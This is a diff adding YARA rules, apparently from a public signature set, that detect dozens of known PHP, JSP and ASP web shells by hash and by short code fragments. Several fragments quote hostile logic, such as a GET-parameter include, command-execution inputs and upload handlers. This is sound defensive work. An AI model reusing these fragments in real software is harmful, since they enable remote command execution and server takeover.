+		description = "Web Shell - file jdbc.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "23b0e6f91a8f0d93b9c51a2a442119ce"
+	strings:
+		$s4 = "String cs = request.getParameter(\"z0\")==null?\"gbk\": request.getParameter(\"z"
+	condition:
+		all of them
+}
+rule webshell_minupload {
+	meta:
+		description = "Web Shell - file minupload.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ec905a1395d176c27f388d202375bdf9"
+	strings:
+		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
+		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"
+	condition:
+		all of them
+}
+rule webshell_ELMALISEKER_Backd00r {
+	meta:
+		description = "Web Shell - file ELMALISEKER Backd00r.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
+	strings:
+		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
+		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"
+	condition:
+		all of them
+}
+rule webshell_PHP_bug_1_ {
+	meta:
+		description = "Web Shell - file bug (1).php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "91c5fae02ab16d51fc5af9354ac2f015"
+	strings:
+		$s0 = "@include($_GET['bug']);" fullword
+	condition:
+		all of them
+}
+rule webshell_caidao_shell_hkmjj {
+	meta:
+		description = "Web Shell - file hkmjj.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
+	strings:
+		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword
+	condition:
+		all of them
+}
+rule webshell_jsp_asd {
+	meta:
+		description = "Web Shell - file asd.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "a042c2ca64176410236fcc97484ec599"
+	strings:
+		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
+		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"
+	condition:
+		all of them
+}
+rule webshell_jsp_inback3 {
+	meta:
+		description = "Web Shell - file inback3.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "ea5612492780a26b8aa7e5cedd9b8f4e"
+	strings:
+		$s0 = "<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application"
+	condition:
+		all of them
+}
+rule webshell_metaslsoft {
+	meta:
+		description = "Web Shell - file metaslsoft.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "aa328ed1476f4a10c0bcc2dde4461789"
+	strings:
+		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"
+	condition:
+		all of them
+}
+rule webshell_asp_Ajan {
+	meta:
+		description = "Web Shell - file Ajan.asp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		hash = "b6f468252407efc2318639da22b08af0"
+	strings:
+		$s3 = "entrika.write \"BinaryStream.SaveToFile \"\"c:\\downloaded.zip\"\", adSaveCreate"
+	condition:
+		all of them
+}
+rule webshell_config_myxx_zend {
+	meta:
+		description = "Web Shell - from files config.jsp, myxx.jsp, zend.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash1 = "e0354099bee243702eb11df8d0e046df"
+		hash2 = "591ca89a25f06cf01e4345f98a22845c"
+	strings:
+		$s3 = ".println(\"<a href=\\\"javascript:alert('You Are In File Now ! Can Not Pack !');"
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s2 = "<small>jsp File Browser version <%= VERSION_NR%> by <a"
+		$s3 = "else if (fName.endsWith(\".mpg\") || fName.endsWith(\".mpeg\") || fName.endsWith"
+	condition:
+		all of them
+}
+rule webshell_itsec_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, itsecteam_shell.php, jHn.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash2 = "40c6ecf77253e805ace85f119fe1cebb"
+	strings:
+		$s4 = "echo $head.\"<font face='Tahoma' size='2'>Operating System : \".php_uname().\"<b"
+		$s5 = "echo \"<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'"
+	condition:
+		all of them
+}
+rule webshell_ghost_source_icesword_silic {
+	meta:
+		description = "Web Shell - from files ghost_source.php, icesword.php, silic.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "cbf64a56306c1b5d98898468fc1fdbd8"
+		hash1 = "6e20b41c040efb453d57780025a292ae"
+		hash2 = "437d30c94f8eef92dc2f064de4998695"
+	strings:
+		$s3 = "if(eregi('WHERE|LIMIT',$_POST['nsql']) && eregi('SELECT|FROM',$_POST['nsql'])) $"
+		$s6 = "if(!empty($_FILES['ufp']['name'])){if($_POST['ufn'] != '') $upfilename = $_POST["
+	condition:
+		all of them
+}
+rule webshell_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_spy2009_m_ma3_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, t00ls.jsp, u.jsp, xia.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash6 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash7 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash8 = "d71716df5042880ef84427acee8b121e"
+		hash9 = "341298482cf90febebb8616426080d1d"
+		hash10 = "29aebe333d6332f0ebc2258def94d57e"
+		hash11 = "42654af68e5d4ea217e6ece5389eb302"
+		hash12 = "88fc87e7c58249a398efd5ceae636073"
+		hash13 = "4a812678308475c64132a9b56254edbc"
+		hash14 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash15 = "344f9073576a066142b2023629539ebd"
+		hash16 = "32dea47d9c13f9000c4c807561341bee"
+		hash17 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash18 = "655722eaa6c646437c8ae93daac46ae0"
+		hash19 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash20 = "9c94637f76e68487fa33f7b0030dd932"
+		hash21 = "6acc82544be056580c3a1caaa4999956"
+		hash22 = "6aa32a6392840e161a018f3907a86968"
+		hash23 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash24 = "3ea688e3439a1f56b16694667938316d"
+		hash25 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash26 = "71097537a91fac6b01f46f66ee2d7749"
+		hash27 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash28 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s8 = "\"<form action=\\\"\"+SHELL_NAME+\"?o=upload\\\" method=\\\"POST\\\" enctype="
+		$s9 = "<option value='reg query \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\T"
+	condition:
+		all of them
+}
+rule webshell_2_520_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "56c005690da2558690c4aa305a31ad37"
+		hash3 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash4 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash5 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s4 = "_url = \"jdbc:microsoft:sqlserver://\" + dbServer + \":\" + dbPort + \";User=\" "
+		$s9 = "result += \"<meta http-equiv=\\\"refresh\\\" content=\\\"2;url=\" + request.getR"
+	condition:
+		all of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_JspSpy_JspSpyJDK5_JspSpyJDK51_luci_jsp_xxx {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, 807.jsp, a.jsp, c5.jsp, config.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, myxx.jsp, nogfw.jsp, ok.jsp, queryDong.jsp, spyjsp2010.jsp, style.jsp, t00ls.jsp, u.jsp, xia.jsp, zend.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "9c94637f76e68487fa33f7b0030dd932"
+		hash23 = "6acc82544be056580c3a1caaa4999956"
+		hash24 = "6aa32a6392840e161a018f3907a86968"
+		hash25 = "591ca89a25f06cf01e4345f98a22845c"
+		hash26 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash27 = "3ea688e3439a1f56b16694667938316d"
+		hash28 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash29 = "71097537a91fac6b01f46f66ee2d7749"
+		hash30 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash31 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s0 = "ports = \"21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500\";" fullword
+		$s1 = "private static class VEditPropertyInvoker extends DefaultInvoker {" fullword
+	condition:
+		all of them
+}
+rule webshell_wso2_5_1_wso2_5_wso2 {
+	meta:
+		description = "Web Shell - from files wso2.5.1.php, wso2.5.php, wso2.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "dbeecd555a2ef80615f0894027ad75dc"
+		hash1 = "7c8e5d31aad28eb1f0a9a53145551e05"
+		hash2 = "cbc44fb78220958f81b739b493024688"
+	strings:
+		$s7 = "$opt_charsets .= '<option value=\"'.$item.'\" '.($_POST['charset']==$item?'selec"
+		$s8 = ".'</td><td><a href=\"#\" onclick=\"g(\\'FilesTools\\',null,\\''.urlencode($f['na"
+	condition:
+		all of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010_t00ls {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp, t00ls.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+		hash5 = "9c94637f76e68487fa33f7b0030dd932"
+	strings:
+		$s8 = "table.append(\"<td nowrap> <a href=\\\"#\\\" onclick=\\\"view('\"+tbName+\"')"
+		$s9 = "\"<p><input type=\\\"hidden\\\" name=\\\"selectDb\\\" value=\\\"\"+selectDb+\""
+	condition:
+		all of them
+}
+rule webshell_404_data_suiyue {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, suiyue.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+	strings:
+		$s3 = " sbCopy.append(\"<input type=button name=goback value=' \"+strBack[languageNo]+"
+	condition:
+		all of them
+}
+rule webshell_r57shell_r57shell127_SnIpEr_SA_Shell_EgY_SpIdEr_ShElL_V2_r57_xxx {
+	meta:
+		description = "Web Shell - from files r57shell.php, r57shell127.php, SnIpEr_SA Shell.php, EgY_SpIdEr ShElL V2.php, r57_iFX.php, r57_kartal.php, r57_Mohajer22.php, r57.php, r57.php, Backdoor.PHP.Agent.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ef43fef943e9df90ddb6257950b3538f"
+		hash1 = "ae025c886fbe7f9ed159f49593674832"
+		hash2 = "911195a9b7c010f61b66439d9048f400"
+		hash3 = "697dae78c040150daff7db751fc0c03c"
+		hash4 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash5 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash6 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash7 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash8 = "41af6fd253648885c7ad2ed524e0692d"
+		hash9 = "6fcc283470465eed4870bcc3e2d7f14d"
+	strings:
+		$s2 = "echo sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name"
+		$s3 = "echo sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1"
+		$s9 = "echo sr(40,\"<b>\".$lang[$language.'_text26'].$arrow.\"</b>\",\"<select size="
+	condition:
+		all of them
+}
+rule webshell_807_a_css_dm_he1p_JspSpy_xxx {
+	meta:
+		description = "Web Shell - from files 807.jsp, a.jsp, css.jsp, dm.jsp, he1p.jsp, JspSpy.jsp, JspSpyJDK5.jsp, JspSpyJDK51.jsp, luci.jsp.spy2009.jsp, m.jsp, ma3.jsp, mmym520.jsp, nogfw.jsp, ok.jsp, style.jsp, u.jsp, xia.jsp, cofigrue.jsp, 1.jsp, jspspy.jsp, jspspy_k8.jsp, JspSpy.jsp, JspSpyJDK5.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash2 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash3 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash4 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash5 = "d71716df5042880ef84427acee8b121e"
+		hash6 = "341298482cf90febebb8616426080d1d"
+		hash7 = "29aebe333d6332f0ebc2258def94d57e"
+		hash8 = "42654af68e5d4ea217e6ece5389eb302"
+		hash9 = "88fc87e7c58249a398efd5ceae636073"
+		hash10 = "4a812678308475c64132a9b56254edbc"
+		hash11 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash12 = "344f9073576a066142b2023629539ebd"
+		hash13 = "32dea47d9c13f9000c4c807561341bee"
+		hash14 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash15 = "6acc82544be056580c3a1caaa4999956"
+		hash16 = "6aa32a6392840e161a018f3907a86968"
+		hash17 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash18 = "3ea688e3439a1f56b16694667938316d"
+		hash19 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash20 = "71097537a91fac6b01f46f66ee2d7749"
+		hash21 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash22 = "7a4b090619ecce6f7bd838fe5c58554b"
+	strings:
+		$s1 = "\"<h2>Remote Control &raquo;</h2><input class=\\\"bt\\\" onclick=\\\"var"
+		$s2 = "\"<p>Current File (import new file name and new file)<br /><input class=\\\"inpu"
+		$s3 = "\"<p>Current file (fullpath)<br /><input class=\\\"input\\\" name=\\\"file\\\" i"
+	condition:
+		all of them
+}
+rule webshell_201_3_ma_download {
+	meta:
+		description = "Web Shell - from files 201.jsp, 3.jsp, ma.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash1 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash2 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash3 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s0 = "<input title=\"Upload selected file to the current working directory\" type=\"Su"
+		$s5 = "<input title=\"Launch command in current directory\" type=\"Submit\" class=\"but"
+		$s6 = "<input title=\"Delete all selected files and directories incl. subdirs\" class="
+	condition:
+		all of them
+}
+rule webshell_browser_201_3_400_in_JFolder_jfolder01_jsp_leo_ma_warn_webshell_nc_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, 400.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, ma.jsp, warn.jsp, webshell-nc.jsp, download.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "36331f2c81bad763528d0ae00edf55be"
+		hash4 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash5 = "8979594423b68489024447474d113894"
+		hash6 = "ec482fc969d182e5440521c913bab9bd"
+		hash7 = "f98d2b33cd777e160d1489afed96de39"
+		hash8 = "4b4c12b3002fad88ca6346a873855209"
+		hash9 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash10 = "e9a5280f77537e23da2545306f6a19ad"
+		hash11 = "598eef7544935cf2139d1eada4375bb5"
+		hash12 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+	strings:
+		$s4 = "UplInfo info = UploadMonitor.getInfo(fi.clientFileName);" fullword
+		$s5 = "long time = (System.currentTimeMillis() - starttime) / 1000l;" fullword
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2006_arabicspy {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+	strings:
+		$s0 = "elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype"
+		$s8 = "echo \"<form action=\\\"?action=shell&dir=\".urlencode($dir).\"\\\" method=\\\"P"
+	condition:
+		all of them
+}
+rule webshell_in_JFolder_jfolder01_jsp_leo_warn {
+	meta:
+		description = "Web Shell - from files in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash1 = "8979594423b68489024447474d113894"
+		hash2 = "ec482fc969d182e5440521c913bab9bd"
+		hash3 = "f98d2b33cd777e160d1489afed96de39"
+		hash4 = "4b4c12b3002fad88ca6346a873855209"
+		hash5 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s4 = "sbFile.append(\"  &nbsp;<a href=\\\"javascript:doForm('down','\"+formatPath(strD"
+		$s9 = "sbFile.append(\" &nbsp;<a href=\\\"javascript:doForm('edit','\"+formatPath(strDi"
+	condition:
+		all of them
+}
+rule webshell_2_520_icesword_job_ma1_ma4_2 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp, ma4.jsp, 2.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		hash5 = "6e0fa491d620d4af4b67bae9162844ae"
+		hash6 = "7eabe0f60975c0c73d625b7ddf7b9cbd"
+	strings:
+		$s2 = "private String[] _textFileTypes = {\"txt\", \"htm\", \"html\", \"asp\", \"jsp\","
+		$s3 = "\\\" name=\\\"upFile\\\" size=\\\"8\\\" class=\\\"textbox\\\" />&nbsp;<input typ"
+		$s9 = "if (request.getParameter(\"password\") == null && session.getAttribute(\"passwor"
+	condition:
+		all of them
+}
+rule webshell_phpspy_2005_full_phpspy_2005_lite_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, PHPSPY.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "0712e3dc262b4e1f98ed25760b206836"
+	strings:
+		$s6 = "<input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['comma"
+		$s7 = "echo $msg=@copy($_FILES['uploadmyfile']['tmp_name'],\"\".$uploaddir.\"/\".$_FILE"
+		$s8 = "<option value=\"passthru\" <? if ($execfunc==\"passthru\") { echo \"selected\"; "
+	condition:
+		2 of them
+}
+rule webshell_shell_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2006.php, arabicspy.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "40a1f840111996ff7200d18968e42cfe"
+		hash2 = "e0202adff532b28ef1ba206cf95962f2"
+		hash3 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s5 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+	condition:
+		all of them
+}
+rule webshell_c99_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell - from files c99.php, Shell [ci] .Biz was here.php, c100 v. 777shell v. Undetectable #18a Modded by 777 - Don.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "f2fa878de03732fbf5c86d656467ff50"
+		hash2 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash3 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash4 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash5 = "048ccc01b873b40d57ce25a4c56ea717"
+	strings:
+		$s8 = "else {echo \"Running datapipe... ok! Connect to <b>\".getenv(\"SERVER_ADDR\""
+	condition:
+		all of them
+}
+rule webshell_2008_2009lite_2009mssql {
+	meta:
+		description = "Web Shell - from files 2008.php, 2009lite.php, 2009mssql.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "3f4d454d27ecc0013e783ed921eeecde"
+		hash2 = "aa17b71bb93c6789911bd1c9df834ff9"
+	strings:
+		$s0 = "<a href=\"javascript:godir(\\''.$drive->Path.'/\\');"
+		$s7 = "p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all"
+	condition:
+		all of them
+}
+rule webshell_shell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_arabicspy_PHPSPY_hkrkoz {
+	meta:
+		description = "Web Shell - from files shell.php, phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, arabicspy.php, PHPSPY.php, hkrkoz.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "791708057d8b429d91357d38edf43cc0"
+		hash1 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash2 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "0712e3dc262b4e1f98ed25760b206836"
+		hash6 = "802f5cae46d394b297482fd0c27cb2fc"
+	strings:
+		$s0 = "$mainpath_info           = explode('/', $mainpath);" fullword
+		$s6 = "if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == \"d"
+	condition:
+		all of them
+}
+rule webshell_807_dm_JspSpyJDK5_m_cofigrue {
+	meta:
+		description = "Web Shell - from files 807.jsp, dm.jsp, JspSpyJDK5.jsp, m.jsp, cofigrue.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash1 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash2 = "341298482cf90febebb8616426080d1d"
+		hash3 = "88fc87e7c58249a398efd5ceae636073"
+		hash4 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+	strings:
+		$s1 = "url_con.setRequestProperty(\"REFERER\", \"\"+fckal+\"\");" fullword
+		$s9 = "FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(),  \"GBK\");" fullword
+	condition:
+		1 of them
+}
+rule webshell_Dive_Shell_1_0_Emperor_Hacking_Team_xxx {
+	meta:
+		description = "Web Shell - from files Dive Shell 1.0 - Emperor Hacking Team.php, phpshell.php, SimShell 1.0 - Simorgh Security MGZ.php"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "1b5102bdc41a7bc439eea8f0010310a5"
+		hash1 = "f8a6d5306fb37414c5c772315a27832f"
+		hash2 = "37cb1db26b1b0161a4bf678a6b4565bd"
+	strings:
+		$s1 = "if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== fals"
+		$s9 = "if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {" fullword
+	condition:
+		all of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_xxx {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, leo.jsp, suiyue.jsp, warn.jsp"
+		author = "Florian Roth"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "4b4c12b3002fad88ca6346a873855209"
+		hash7 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash8 = "e9a5280f77537e23da2545306f6a19ad"
+	strings:
+		$s4 = "&nbsp;<TEXTAREA NAME=\"cqq\" ROWS=\"20\" COLS=\"100%\"><%=sbCmd.toString()%></TE"
+	condition:
+		all of them
+}
